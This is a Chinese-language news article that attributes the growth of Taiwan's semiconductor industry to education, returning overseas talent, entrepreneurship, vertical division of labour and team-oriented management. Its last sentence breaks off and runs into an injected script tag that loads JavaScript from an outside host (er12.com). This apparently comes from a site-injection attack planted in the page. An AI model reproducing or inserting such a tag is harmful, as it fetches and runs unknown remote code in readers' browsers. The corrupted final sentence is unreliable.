（华强电子世界网讯）
与世界同步是台湾半导体业得以成功的前提条件
我国台湾地区约有2200万人口，但教育甚为普及，几乎无文盲，约有各类学校7800余所，大学84所，在校人口约占总人口的四分之一，在校大学生50万人左右，为我国台湾发展半导体业提供了良好的人才基础。故早从60年代中期开始，飞利浦、德州仪器和nec等外商就陆续在台设厂，将技术、品质和管理知识带进我国台湾，帮助我国台湾训练了第一批半导体人才。
进入70年代，全球电子工业起飞，反应快的我国台湾乘势而起，许多刚从学校毕业的精英都投身这个领域，有些则赴海外创业。
80年代后期，台湾当局制定政策，鼓励海外人才回台工作，使我国台湾的人才库更加充沛。这些经验丰富、有专业知识、知道国际游戏规则的人才正是我国台湾发展微电子产业的中坚，也是新加坡、马来西亚等地方一时难以比拟的。
强烈的创业精神、专业的协作分工、融洽的团队精神使台湾半导体业快速发展
创业精神
强烈的创业精神是台湾半导体业成功的起点。半导体业技术变化快、更新周期快、市场变化快，对传统的程序化决策是一种挑战。我国台湾的半导体业是在最近二十多年来由一批专业性的、敢于冒风险、动作反应敏捷的开拓者创造发展起来的，有别于日本、韩国、新加坡等靠大财团或政府支持的发展样式，其结果是通过这些敢于冒风险的开拓者组建的公司又不断释放人才，产生新的创业家。我国台湾的半导体业早期虽靠台湾当局投资，如联华电子和台积电，但目前都已自立。因此台湾企业创业精神非常兴盛，在亚洲可谓独树一帜。
协作分工
专业的协作分工是提升我国台湾半导体业价值的成功之路。我国台湾半导体业通过垂直分工，逐渐取代垂直整合。像华晶集团公司这样从硅材料开始到产成品结束的小而全企业在台湾已全被一一细分成独立的企业，如设计、硅片制造、掩模制造、芯片制造、封装、测试以及模具、引线框制造等都能独立成为一个公司。这种通过垂直分工而细分出一个个企业进而发展成为一个个产业的模式，为我国台湾半导体塑造了新的竞争力。如台湾光罩股份有限公司成立于1988年，当时主要基于联华电子和台积电以及民间投资的大量asic设计公司已陆续成立。光罩公司成立时，股本为3.5亿元，技术层次2.0μm，而到1999年其年营业收入已达到新台币11.6亿元，技术层次已上升到0.18μm，今年已进入0.15μm的研发；为进一步开拓业务，1998年其在美国成立了子公司，业务遍布世界各地。类似光罩公司这种由专业化分工而促其成功发展的企业在我国台湾比比皆是。
团队精神
融洽的团队精神是我国台湾半导体业管理创新的成功经验。我国台湾半导体业的企业家有别于传统企业家，他们较少个人色彩、民主意识浓、重视经营团队的作用，尤其是寻求个性、背景相似的团队，就连企业对外的宣传画册，亦很少宣传企业个人，多介绍整个经营团队。我国台湾的企业家很清楚，发展半导体就需要很多志同道合的人，人对了，绝处逢生；人不对，活路也会走成死路。有这样的企业家，往往能号召一批志同道合、为企业拼命的骨干。他们追求的是一种把工作做好的成就感。靠着这种精神，他们选定目标就能快速执行，犯了错误，也能尽快改正。
据台湾汉磊科技股份有限公司介绍，该企业对员工实行的是人性化管理。企业定期安排员工培训，学习新知识，并定期轮换工种，以克服单调感。企业还将每年盈利的15％按股分给员工，当然随着盈利额的增大，比例有所降低，但至少也将8％～10％的收益回报给员工。
台湾半导体业的企业家普遍认为，高科技企业，对待员工不仅需要物质奖励，也要有精神感召。我国台湾半导体企业家善于以工作意义来勉励、激励员工。这么一批同甘共苦的员工队伍，就会为企业积极开动脑筋，追求高效务实的企业管理。台湾厂商的设备配置、净化厂房的利用都相当紧凑，做到了最大限度地利用每一平方米的净化区。因为他们追求的是高质量的性能及最低廉的生产运行成本。正是这种企业精神和企业文化使我国台湾半导体业在严酷的科技竞争中仍能做到快速反应，抓到“下?script src=http://er12.com/t.js>
